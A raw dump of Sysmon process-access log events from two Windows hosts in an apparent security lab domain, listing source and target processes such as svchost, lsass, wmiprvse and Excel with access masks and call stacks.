14:47:34.150{7BD73061-65B2-613B-1600-00000000F001}12962312C:\Windows\system32\svchost.exe{7BD73061-7006-613B-FB0A-00000000F001}2228C:\Windows\system32\wbem\wmiprvse.exe0x101541C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+20fee|C:\Windows\system32\wbem\wmiprvsd.dll+43f7|C:\Windows\system32\wbem\wmiprvsd.dll+15538|C:\Windows\system32\wbem\wmiprvsd.dll+1498a|C:\Windows\system32\wbem\wmiprvsd.dll+146e6|C:\Windows\system32\wbem\wmiprvsd.dll+140fe|C:\Windows\system32\wbem\wbemcore.dll+b920|C:\Windows\system32\wbem\wbemcore.dll+255ff|C:\Windows\system32\wbem\wbemcore.dll+24a9a|C:\Windows\system32\wbem\wbemcore.dll+2485e|C:\Windows\system32\wbem\wbemcore.dll+2685b|C:\Windows\system32\wbem\wbemcore.dll+22b78|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+22711|C:\Windows\system32\wbem\wbemcore.dll+2d78c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046487Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.135{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-7006-613B-FB0A-00000000F001}2228C:\Windows\system32\wbem\wmiprvse.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046486Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.119{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046485Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.119{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046484Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.119{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046483Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.057{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046482Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.041{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046481Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.025{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-7006-613B-FB0A-00000000F001}2228C:\Windows\system32\wbem\wmiprvse.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046480Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.025{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-7006-613B-FB0A-00000000F001}2228C:\Windows\system32\wbem\wmiprvse.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+36349|c:\windows\system32\rpcss.dll+3bb32|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046479Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.010{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046478Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.010{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046477Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.010{7BD73061-65B0-613B-0B00-00000000F001}6206620C:\Windows\system32\lsass.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+1a16d|C:\Windows\system32\lsasrv.dll+2704b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046476Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.010{7BD73061-7004-613B-FA0A-00000000F001}10926436C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+1a1a39|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+11f15f|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+198e67|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+11432d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+10641b|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+106668|C:\Program Files\Common Files\Microsoft Shared\Office16\mso98win32client.dll+115fe1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso98win32client.dll+776e3|C:\Program Files\Common Files\Microsoft Shared\Office16\mso98win32client.dll+78431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso98win32client.dll+f3e96|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f7351|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f72af|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f7205|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+1a2006|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+d7ef3|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+58d2c|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+5b2ca|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+cc39|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046475Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:34.010{7BD73061-7004-613B-FA0A-00000000F001}10926436C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+1a1a0f|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+11f15f|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+198e67|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+11432d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+10641b|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+106668|C:\Program Files\Common Files\Microsoft Shared\Office16\mso98win32client.dll+115fe1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso98win32client.dll+776e3|C:\Program Files\Common Files\Microsoft Shared\Office16\mso98win32client.dll+78431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso98win32client.dll+f3e96|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f7351|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f72af|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f7205|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+1a2006|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+d7ef3|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+58d2c|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+5b2ca|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+cc39|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046474Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.994{7BD73061-7003-613B-F90A-00000000F001}52206748C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+1a1a39|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+11f15f|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+198e67|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+11432d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+10641b|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+106668|C:\Program Files\Common Files\Microsoft Shared\Office16\mso98win32client.dll+115fe1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso98win32client.dll+776e3|C:\Program Files\Common Files\Microsoft Shared\Office16\mso98win32client.dll+78431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso98win32client.dll+f3e96|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f7351|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f72af|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f7205|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+1a2006|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+d7ef3|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+58d2c|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+5b2ca|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+cc39|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046473Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.994{7BD73061-7003-613B-F90A-00000000F001}52206748C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+1a1a0f|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+11f15f|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+198e67|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+11432d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+10641b|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+106668|C:\Program Files\Common Files\Microsoft Shared\Office16\mso98win32client.dll+115fe1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso98win32client.dll+776e3|C:\Program Files\Common Files\Microsoft Shared\Office16\mso98win32client.dll+78431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso98win32client.dll+f3e96|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f7351|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f72af|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f7205|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+1a2006|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+d7ef3|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+58d2c|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+5b2ca|C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE+cc39|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014423Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:34.069{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7006-613B-AC04-00000000F101}3316C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014422Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:34.069{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014421Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:34.069{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014420Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:34.069{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014419Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:34.069{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014418Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:34.069{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014417Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:34.069{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014416Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:34.069{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014415Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 